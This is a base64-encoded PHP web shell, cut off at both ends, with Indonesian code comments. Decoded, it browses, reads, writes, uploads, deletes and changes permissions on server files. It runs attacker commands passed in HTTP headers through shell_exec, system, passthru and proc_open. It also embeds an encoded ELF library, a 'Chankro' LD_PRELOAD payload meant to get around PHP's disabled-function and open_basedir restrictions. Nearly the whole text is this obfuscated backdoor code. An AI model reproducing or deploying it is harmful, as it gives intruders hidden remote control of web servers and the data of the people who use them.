sNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpKSB7DQogICAgICAgICAgICBpZiAoJGkgPT0gJy4nIHx8ICRpID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkdGFyZ2V0IC4gJy8nIC4gJGk7IA0KICAgICAgICAgICAgJGlzRGlyID0gaXNfZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICRpdGVtID0gWw0KICAgICAgICAgICAgICAgICduYW1lJz0+JGksIA0KICAgICAgICAgICAgICAgICd0eXBlJz0+JGlzRGlyPydkaXInOidmaWxlJywgDQogICAgICAgICAgICAgICAgJ3NpemUnPT4kaXNEaXI/Jy0nOmh1bWFuX2ZpbGVzaXplKEBmaWxlc2l6ZSgkcGF0aCkpLCANCiAgICAgICAgICAgICAgICAncGVybSc9PnN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJHBhdGgpKSwtNCksIA0KICAgICAgICAgICAgICAgICd3cml0ZSc9PmlzX3dyaXRhYmxlKCRwYXRoKSwgDQogICAgICAgICAgICAgICAgJ2RhdGUnPT5kYXRlKCJZLW0tZCBIOmkiLCBAZmlsZW10aW1lKCRwYXRoKSkNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICBpZiAoJGlzRGlyKSAkZGlyc1tdID0gJGl0ZW07IGVsc2UgJGZpbGVzW10gPSAkaXRlbTsNCiAgICAgICAgfQ0KICAgICAgICB1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAgICAgICAgdXNvcnQoJGZpbGVzLCBmdW5jdGlvbigkYSwgJGIpIHsgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7IH0pOw0KICAgICAgICBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyldKTsNCiAgICB9DQoNCiAgICAvLyAtLS0gVVBEQVRFRCBSRUFEIEFDVElPTiAoV0lUSCBKQUlMQlJFQUsgRkFMTEJBQ0spIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVhZCcpIHsgDQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IFVucmVhZGFibGUgKFRyeSBKYWlsYnJlYWsvU2hlbGwpIjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIC8vIFRyeSBqYWlsYnJlYWsgZXZlbiBpZiBpdCBkb2Vzbid0IGxvb2sgbGlrZSBhIGZpbGUgKG9wZW5fYmFzZWRpciBoaWRpbmcpDQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IE5vdCBhIGZpbGUgLyBBY2Nlc3MgRGVuaWVkIjsNCiAgICAgICAgfQ0KICAgICAgICBleGl0OyANCiAgICB9DQogICAgDQogICAgaWYgKCRhY3Rpb24gPT09ICdzYXZlJyB8fCAkYWN0aW9uID09PSAndXBsb2FkJykgeyANCiAgICAgICAgJGlucHV0ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7IA0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJGhfZW5jXSkgJiYgJF9TRVJWRVJbJGhfZW5jXSA9PT0gJ2I2NCcpIHsNCiAgICAgICAgICAgICRpbnB1dCA9IGJhc2U2NF9kZWNvZGUoJGlucHV0KTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICh4X3JvYnVzdF93cml0ZSgkdGFyZ2V0LCAkaW5wdXQsIHRydWUpICE9PSBmYWxzZSkgPyAiU3VjY2VzcyIgOiAiRXJyOiBXcml0ZSBmYWlsZWQiOyANCiAgICAgICAgZXhpdDsgDQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7IGVjaG8gZm9yY2VfZGVsZXRlKCR0YXJnZXQpID8gIkRlbGV0ZWQiIDogIkZhaWwgZGVsZXRlIjsgZXhpdDsgfQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVuYW1lJykgeyAkbiA9IGlzc2V0KCRfU0VSVkVSWyRoX2RhdGFdKSA/IGJhc2U2NF9kZWNvZGUoJF9TRVJWRVJbJGhfZGF0YV0pIDogJyc7IGlmICgkbikgZWNobyByZW5hbWUoJHRhcmdldCwgZGlybmFtZSgkdGFyZ2V0KS4nLycuJG4pID8gIlJlbmFtZWQiIDogIkZhaWwiOyBleGl0OyB9DQogICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHsgJG0gPSBpc3NldCgkX1NFUlZFUlskaF9kYXRhXSkgPyAkX1NFUlZFUlskaF9kYXRhXSA6ICcnOyBpZiAoJG0pIGVjaG8gY2htb2QoJHRhcmdldCwgb2N0ZGVjKCRtKSkgPyAiQ2htb2QgT0siIDogIkZhaWwiOyBleGl0OyB9DQogICAgDQogICAgLy8gLS0tIEJZUEFTUyBDTUQgKFY2NTogSFlCUklEIC9UTVAgU1RSQVRFR1kgKyBBTlRJLUxPT1ApIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAnY21kJykgew0KICAgICAgICAkY21kX3JhdyA9IGlzc2V0KCRfU0VSVkVSWyRoX2NtZF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9jbWRdKSA6ICd3aG9hbWknOyANCiAgICAgICAgDQogICAgICAgIC8vIERldGVrc2kgVUFQSSB1bnR1ayBzdHJhdGVnaSBvdXRwdXQga2UgVE1QDQogICAgICAgICRpc191YXBpX3Rva2VuID0gKHN0cmlwb3MoJGNtZF9yYXcsICd1YXBpJykgIT09IGZhbHNlICYmIHN0cmlwb3MoJGNtZF9yYXcsICdUb2tlbnMnKSAhPT0gZmFsc2UpOw0KDQogICAgICAgIC8vIEZpeCBQYXRoDQogICAgICAgICRjbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47ICIgLiAkY21kX3JhdzsNCiAgICAgICAgJGNtZF9leGVjID0gJGNtZCAuICIgMj4mMSI7DQogICAgICAgICRvdXQgPSAiIjsgDQoNCiAgICAgICAgLy8gSGVscGVyIFJ1bg0KICAgICAgICAkdHJ5X3J1biA9IGZ1bmN0aW9uKCRtZXRob2QsICRjKSB7DQogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygkbWV0aG9kKSkgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgJG8gPSAiIjsNCiAgICAgICAgICAgIGlmICgkbWV0aG9kID09ICdzaGVsbF9leGVjJykgJG8gPSBAc2hlbGxfZXhlYygkYyk7DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Bhc3N0aHJ1JykgeyBvYl9zdGFydCgpOyBAcGFzc3RocnUoJGMpOyAkbyA9IG9iX2dldF9jbGVhbigpOyB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3N5c3RlbScpIHsgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkYyk7ICRvID0gb2JfZ2V0X2NsZWFuKCk7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAnZXhlYycpIHsgQGV4ZWMoJGMsICRhcnIpOyAkbyA9IGltcGxvZGUoIlxuIiwgJGFycik7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAncG9wZW4nKSB7ICRoID0gQHBvcGVuKCRjLCAncicpOyBpZigkaCkgeyB3aGlsZSghZmVvZigkaCkpICRvIC49IGZyZWFkKCRoLCAxMDI0KTsgcGNsb3NlKCRoKTsgfSB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Byb2Nfb3BlbicpIHsNCiAgICAgICAgICAgICAgICAkZCA9IFswPT5bInBpcGUiLCJyIl0sMT0+WyJwaXBlIiwidyJdLDI9PlsicGlwZSIsInciXV07DQogICAgICAgICAgICAgICAgJHAgPSBAcHJvY19vcGVuKCRjLCAkZCwgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHApKSB7DQogICAgICAgICAgICAgICAgICAgICRvID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pIC4gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOyANCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7IGZjbG9zZSgkcGlwZXNbMl0pOyBwcm9jX2Nsb3NlKCRwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJG87DQogICAgICAgIH07DQoNCiAgICAgICAgLy8gMS4gU1RBTkRBUkQgQVRURU1QVCAoTGV3YXRpIGppa2EgVUFQSSBhZ2FyIGxhbmdzdW5nIGtlIG1ldG9kZSBrdWF0KQ0KICAgICAgICBpZiAoISRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdwYXNzdGhydScsICdwcm9jX29wZW4nLCAnc3lzdGVtJ107DQogICAgICAgICAgICBmb3JlYWNoICgkbWV0aG9kcyBhcyAkbSkgew0KICAgICAgICAgICAgICAgIGlmICgkZCA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpIHsgaWYgKHN0cmlwb3MoJGQsICRtKSAhPT0gZmFsc2UpIGNvbnRpbnVlOyB9DQogICAgICAgICAgICAgICAgJHJlcyA9ICR0cnlfcnVuKCRtLCAkY21kX2V4ZWMpOw0KICAgICAgICAgICAgICAgIC8vIEppa2EgZXJyb3IgbWVtb3J5L2ZvcmssIGFuZ2dhcCBnYWdhbCBkYW4gbGFuanV0IGtlIENoYW5rcm8NCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkcmVzLCAnQ2Fubm90IGFsbG9jYXRlJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJHJlcywgJ2ZvcmsnKSAhPT0gZmFsc2UpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHJlcykpIHsgJG91dCA9ICRyZXM7IGJyZWFrOyB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyAyLiBDSEFOS1JPIEZBTExCQUNLIChBTlRJLUxPT1AgVklBIEVOViAtVSkNCiAgICAgICAgaWYgKGVtcHR5KCRvdXQpIHx8ICRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRob29rID0gJ2YwVk1SZ0lCQVFBQUFBQUFBQUFBQUFNQVBnQUJBQUFBNEFjQUFBQUFBQUJBQUFBQUFBQUFBUGdaQUFBQUFBQUFBQUFBQUVBQU9BQUhBRUFBSFFBY0FBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFvQUFBQUFBQUJzQ2dBQUFBQUFBQUFBSUFBQUFBQUFBUUFBQUFZQUFBRDREUUFBQUFBQUFQZ05JQUFBQUFBQStBMGdBQUFBQUFCd0FnQUFBQUFBQUhnQ0FBQUFBQUFBQUFBZ0FBQUFBQUFDQUFBQUJnQUFBQmdPQUFBQUFBQUFHQTRnQUFBQUFBQVlEaUFBQUFBQUFNQUJBQUFBQUFBQXdBRUFBQUFBQUFBSUFBQUFBQUFBQUFRQUFBQUVBQUFBeUFFQUFBQUFBQURJQVFBQUFBQUFBTWdCQUFBQUFBQUFKQUFBQUFBQUFBQWtBQUFBQUFBQUFBUUFBQUFBQUFBQVVPVjBaQVFBQUFCNENRQUFBQUFBQUhnSkFBQUFBQUFBZUFrQUFBQUFBQUEwQUFBQUFBQUFBRFFBQUFBQUFBQUFCQUFBQUFBQUFBQlI1WFJrQmdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBRkxsZEdRRUFBQUErQTBBQUFBQUFBRDREU0FBQUFBQUFQZ05JQUFBQUFBQUNBSUFBQUFBQUFBSUFnQUFBQUFBQUFFQUFBQUFBQUFBQkFBQUFCUUFBQUFEQUFBQVIwNVZBR2hrRm9wRlZQdlhiWWJCaWxCcTdTZDhTMWtyQUFBQUFBTUFBQUFOQUFBQUFRQUFBQVlBQUFDSXdDQkZBb1JnR1EwQUFBQVJBQUFBRXdBQUFFSkYxZXhnWGIxYzNtdVZnTHZqa256WWNWZ2N1WTN4RHVyVDd3NGJuNGdMQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhrQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJWUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpjQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdFQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTElBQUFBU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLTUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURnQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRklBQUFBaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKNEFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1VQUFBQVFBQmNBYUJBZ0FBQUFBQUFBQUFBQUFBQUFBSTBBQUFBU0FBd0FGQWtBQUFBQUFBQXBBQUFBQUFBQUFLZ0FBQUFTQUF3QVBRa0FBQUFBQUFBZEFBQUFBQUFBQU5nQUFBQVFBQmdBY0JBZ0FBQUFBQUFBQUFBQUFBQUFBTXdBQUFBUUFCZ0FhQkFnQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFTQUFrQUdBY0FBQUFBQUFBQUFBQUFBQUFBQUJZQUFBQVNBQTBBWEFrQUFBQUFBQUFBQUFBQUFBQUFBSFVBQUFBU0FBd0E0QWdBQUFBQUFBQTBBQUFBQUFBQUFBQmZYMmR0YjJsZmMzUmhjblJmWHdCZmFXNXBkQUJmWm1sdWFRQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMGxVVFY5eVpXZHBjM1JsY2xSTlEyeHZibVZVWVdKc1pRQmZYMk40WVY5bWFXNWhiR2w2WlFCZlNuWmZVbVZuYVhOMFpYSkRiR0Z6YzJWekFIQjNiZ0JuWlhSbGJuWUFZMmh0YjJRQWMzbHpkR1Z0QUdSaFpXMXZibWw2WlFCemFXZHVZV3dBWm05eWF3QmxlR2wwQUhCeVpXeHZZV1J0WlFCMWJuTmxkR1Z1ZGdCc2FXSmpMbk52TGpZQVgyVmtZWFJoQUY5ZlluTnpYM04wWVhKMEFGOWxibVFBUjB4SlFrTmZNaTR5TGpVQUFBQUFBZ0FBQUFJQUFnQUFBQUlBQUFBQ0FBSUFBQUFDQUFJQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFBQUFBQUJBQUVBdXdBQUFCQUFBQUFBQUFBQWRScHBDUUFBQWdEZEFBQUFBQUFBQVBnTklBQUFBQUFBQ0FBQUFBQUFBQUN3Q0FBQUFBQUFBQWdPSUFBQUFBQUFDQUFBQUFBQUFBQndDQUFBQUFBQUFHQVFJQUFBQUFBQUNBQUFBQUFBQUFCZ0VDQUFBQUFBQUFBT0lBQUFBQUFBQVFBQUFBOEFBQUFBQUFBQUFBQUFBTmdQSUFBQUFBQUFCZ0FBQUFJQUFBQUFBQUFBQUFBQUFPQVBJQUFBQUFBQUJnQUFBQVVBQUFBQUFBQUFBQUFBQU9nUElBQUFBQUFBQmdBQUFBY0FBQUFBQUFBQUFBQUFBUEFQSUFBQUFBQUFCZ0FBQUFvQUFBQUFBQUFBQUFBQUFQZ1BJQUFBQUFBQUJnQUFBQXNBQUFBQUFBQUFBQUFBQUJnUUlBQUFBQUFBQndBQUFBRUFBQUFBQUFBQUFBQUFBQ0FRSUFBQUFBQUFCd0FBQUE0QUFBQUFBQUFBQUFBQUFDZ1FJQUFBQUFBQUJ3QUFBQU1BQUFBQUFBQUFBQUFBQURBUUlBQUFBQUFBQndBQUFCUUFBQUFBQUFBQUFBQUFBRGdRSUFBQUFBQUFCd0FBQUFRQUFBQUFBQUFBQUFBQUFFQVFJQUFBQUFBQUJ3QUFBQVlBQUFBQUFBQUFBQUFBQUVnUUlBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBRkFRSUFBQUFBQUFCd0FBQUFrQUFBQUFBQUFBQUFBQUFGZ1FJQUFBQUFBQUJ3QUFBQXdBQUFBQUFBQUFBQUFBQUVpRDdBaElpd1c5Q0NBQVNJWEFkQUwvMEVpRHhBakRBUDgxMGdnZ0FQOGwxQWdnQUE4ZlFBRC9KZElJSUFCb0FBQUFBT25nLy8vLy95WEtDQ0FBYUFFQUFBRHAwUC8vLy84bHdnZ2dBR2dDQUFBQTZjRC8vLy8vSmJvSUlBQm9Bd0FBQU9tdy8vLy8veVd5Q0NBQWFBUUFBQURwb1AvLy8vOGxxZ2dnQUdnRkFBQUE2WkQvLy8vL0phSUlJQUJvQmdBQUFPbUEvLy8vL3lXYUNDQUFhQWNBQUFEcGNQLy8vLzhsa2dnZ0FHZ0lBQUFBNldELy8vLy9KU0lJSUFCbWtBQUFBQUFBQUFBQVNJMDlnUWdnQUVpTkJZRUlJQUJWU0NuNFNJbmxTSVA0RG5ZVlNJc0YxZ2NnQUVpRndIUUpYZi9nWmc4ZlJBQUFYY01QSDBBQVppNFBINFFBQUFBQUFFaU5QVUVJSUFCSWpUVTZDQ0FBVlVncC9raUo1VWpCL2dOSWlmQkl3ZWcvU0FIR1NOSCtkQmhJaXdXaEJ5QUFTSVhBZEF4ZC8rQm1EeCtFQUFBQUFBQmR3dzhmUUFCbUxnOGZoQUFBQUFBQWdEM3hCeUFBQUhVblNJTTlkd2NnQUFCVlNJbmxkQXhJaXozU0J5QUE2RDMvLy8vb1NQLy8vMTNHQmNnSElBQUI4OE1QSDBBQVppNFBINFFBQUFBQUFFaU5QVmtGSUFCSWd6OEFkUXZwWHYvLy8yWVBIMFFBQUVpTEJSa0hJQUJJaGNCMDZWVklpZVgvMEYzcFFQLy8vMVZJaWVWSWpUMTZBQUFBNkZEKy8vKysvd0VBQUVpSngraVQvdi8vU0kwOVlRQUFBT2czL3YvL1NJbkg2RS8rLy8rUVhjTlZTSW5sdmdFQUFBQy9BUUFBQU9oWi92Ly82SlQrLy8rRndIUUt2d0FBQUFEb2R2Ny8vNUJkdzFWSWllVklqVDBsQUFBQTZGUCsvLy9vL3YzLy8rZ1ovdi8va0YzREFBQklnK3dJU0lQRUNNTkRTRUZPUzFKUEFFeEVYMUJTUlV4UFFVUUFBUnNET3pRQUFBQUZBQUFBdVAzLy8xQUFBQUJZL3YvL2VBQUFBR2ovLy8rUUFBQUFuUC8vLzdBQUFBREYvLy8vMEFBQUFBQUFBQUFVQUFBQUFBQUFBQUY2VWdBQmVCQUJHd3dIQ0pBQkFBQWtBQUFBSEFBQUFHRDkvLytnQUFBQUFBNFFSZzRZU2c4TGR3aUFBRDhhT3lvekpDSUFBQUFBRkFBQUFFUUFBQURZL2YvL0NBQUFBQUFBQUFBQUFBQUFIQUFBQUZ3QUFBRFEvdi8vTkFBQUFBQkJEaENHQWtNTkJtOE1Cd2dBQUFBY0FBQUFmQUFBQU9UKy8vOHBBQUFBQUVFT0VJWUNRdzBHWkF3SENBQUFBQndBQUFDY0FBQUE3ZjcvL3gwQUFBQUFRUTRRaGdKRERRWllEQWNJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQWdBQUFBQUFBQUFBQUFBQUFBQUFIQUlBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUxzQUFBQUFBQUFBREFBQUFBQUFBQUFZQndBQUFBQUFBQTBBQUFBQUFBQUFYQWtBQUFBQUFBQVpBQUFBQUFBQUFQZ05JQUFBQUFBQUd3QUFBQUFBQUFBUUFBQUFBQUFBQUJvQUFBQUFBQUFBQ0E0Z0FBQUFBQUFjQUFBQUFBQUFBQWdBQUFBQUFBQUE5ZjcvYndBQUFBRHdBUUFBQUFBQUFBVUFBQUFBQUFBQU1BUUFBQUFBQUFBR0FBQUFBQUFBQURnQ0FBQUFBQUFBQ2dBQUFBQUFBQURwQUFBQUFBQUFBQXNBQUFBQUFBQUFHQUFBQUFBQUFBQURBQUFBQUFBQUFBQVFJQUFBQUFBQUFnQUFBQUFBQUFEWUFBQUFBQUFBQUJRQUFBQUFBQUFBQndBQUFBQUFBQUFYQUFBQUFBQUFBRUFHQUFBQUFBQUFCd0FBQUFBQUFBQm9CUUFBQUFBQUFBZ0FBQUFBQUFBQTJBQUFBQUFBQUFBSkFBQUFBQUFBQUJnQUFBQUFBQUFBL3YvL2J3QUFBQUJJQlFBQUFBQUFBUC8vLzI4QUFBQUFBUUFBQUFBQUFBRHcvLzl2QUFBQUFCb0ZBQUFBQUFBQStmLy9id0FBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCZ09JQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVZSEFBQUFBQUFBVmdjQUFBQUFBQUJtQndBQUFBQUFBSFlIQUFBQUFBQUFoZ2NBQUFBQUFBQ1dCd0FBQUFBQUFLWUhBQUFBQUFBQXRnY0FBQUFBQUFER0J3QUFBQUFBQUdBUUlBQUFBQUFSME5ET2lBb1JHVmlhV2h1SURZdU15NHdMVEU0SzJSbFlqbGxNU2tnTmk0ekxqQWdNakF4TnpBMU1UWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUFRRElBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQWdEd0FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFBd0E0QWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJBQXdCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQlFBYUJRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCZ0JJQlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJ3Qm9CUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ0FCQUJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUNnQXdCd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ3dEUUJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEQURnQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRGdCbENRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUVBQ3dDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRVFENERTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFZ0FJRGlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUV3QVFEaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFGUURZRHlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZnQUFFQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRndCZ0VDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFHQUJvRUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQUFBRUFFd0FRRGlBQUFBQUFBQUFBQUFBQUFBQUFHUUFBQUFJQURBRGdCd0FBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUlBREFBZ0NBQUFBQUFBQUFBQUFBQUFBQUFBTGdBQUFBSUFEQUJ3Q0FBQUFBQUFBQUFBQUFBQUFBQUFSQUFBQUFFQUdBQm9FQ0FBQUFBQUFBRUFBQUFBQUFBQVV3QUFBQUVBRWdBSURpQUFBQUFBQUFBQUFBQUFBQUFBZWdBQUFBSUFEQUN3Q0FBQUFBQUFBQUFBQUFBQUFBQUFoZ0FBQUFFQUVRRDREU0FBQUFBQUFBQUFBQUFBQUFBQXBRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFyQUFBQUFFQUVBQm9DZ0FBQUFBQUFBQUFBQUFBQUFBQXVnQUFBQUVBRXdBUURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUF4Z0FBQUFFQUZ3QmdFQ0FBQUFBQUFBQUFBQUFBQUFBQTB3QUFBQUVBRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBM0FBQUFBQUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUE3d0FBQUFFQUZ3Qm9FQ0FBQUFBQUFBQUFBQUFBQUFBQSt3QUFBQUVBRmdBQUVDQUFBQUFBQUFBQUFB